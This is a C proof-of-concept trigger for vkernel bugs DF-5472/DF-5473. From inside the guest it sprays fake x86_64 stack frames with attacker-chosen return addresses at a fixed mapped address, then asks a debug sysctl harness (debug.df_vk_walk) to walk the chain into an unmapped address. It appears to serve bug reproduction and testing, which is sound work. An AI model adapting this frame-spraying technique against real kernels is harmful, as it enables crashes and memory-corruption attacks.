/*
 * vktrigger.c — DF-5472/DF-5473 userland trigger (runs INSIDE the vkernel
 * as an ordinary unprivileged-eligible guest process).
 *
 * Sprays a fake frame chain at a fixed guest-user VA (the guest-user mapping
 * of the vkernel host process), then asks the in-kernel harness
 * (debug.df_vk_walk) to walk a chain that crosses into it and ends at an
 * unmapped terminal VA.
 *
 * usage: vktrigger spray_va term_va rip3 rip4 [count]
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	unsigned long spray_va, term_va, rip3, rip4;
	unsigned long *u;
	char req[128];
	int count = 8;
	size_t len;

	if (argc < 5) {
		fprintf(stderr, "usage: %s spray_va term_va rip3 rip4 [count]\n",
		    argv[0]);
		exit(1);
	}
	spray_va = strtoul(argv[1], NULL, 0);
	term_va  = strtoul(argv[2], NULL, 0);
	rip3     = strtoul(argv[3], NULL, 0);
	rip4     = strtoul(argv[4], NULL, 0);
	if (argc > 5)
		count = atoi(argv[5]);

	/*
	 * Guest-user mapping in the vkernel host process. MAP_FIXED so the
	 * chain lives at a VA we told the kernel harness about. mmap the
	 * page and one extra page so the 0x20 hop stays inside the mapping.
	 */
	u = mmap((void *)spray_va, 2 * 4096, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
	if (u == MAP_FAILED) {
		perror("mmap spray");
		exit(1);
	}
	memset(u, 0, 2 * 4096);

	/*
	 * Fake frames, laid out as struct x86_64_frame {f_frame;f_retaddr;}:
	 *   U+0x00 -> U+0x20   (next frame)
	 *   U+0x08 = rip3      (attacker-chosen "return address")
	 *   U+0x20 -> term_va  (terminal hop: unmapped VA on the bad run)
	 *   U+0x28 = rip4
	 */
	u[0] = spray_va + 0x20;
	u[1] = rip3;
	u[2 * 4 + 0] = term_va;		/* U+0x20 */
	u[2 * 4 + 1] = rip4;

	snprintf(req, sizeof(req), "%#lx %#lx %#lx %#lx %d",
	    spray_va, term_va, rip3, rip4, count);
	len = strlen(req) + 1;
	printf("VKTRIG: spraying at %#lx, term=%#lx, asking kernel to walk\n",
	    spray_va, term_va);
	fflush(stdout);

	if (sysctlbyname("debug.df_vk_walk", NULL, NULL, req, len) < 0) {
		perror("sysctl debug.df_vk_walk");
		exit(1);
	}
	printf("VKTRIG: sysctl returned normally\n");
	return (0);
}
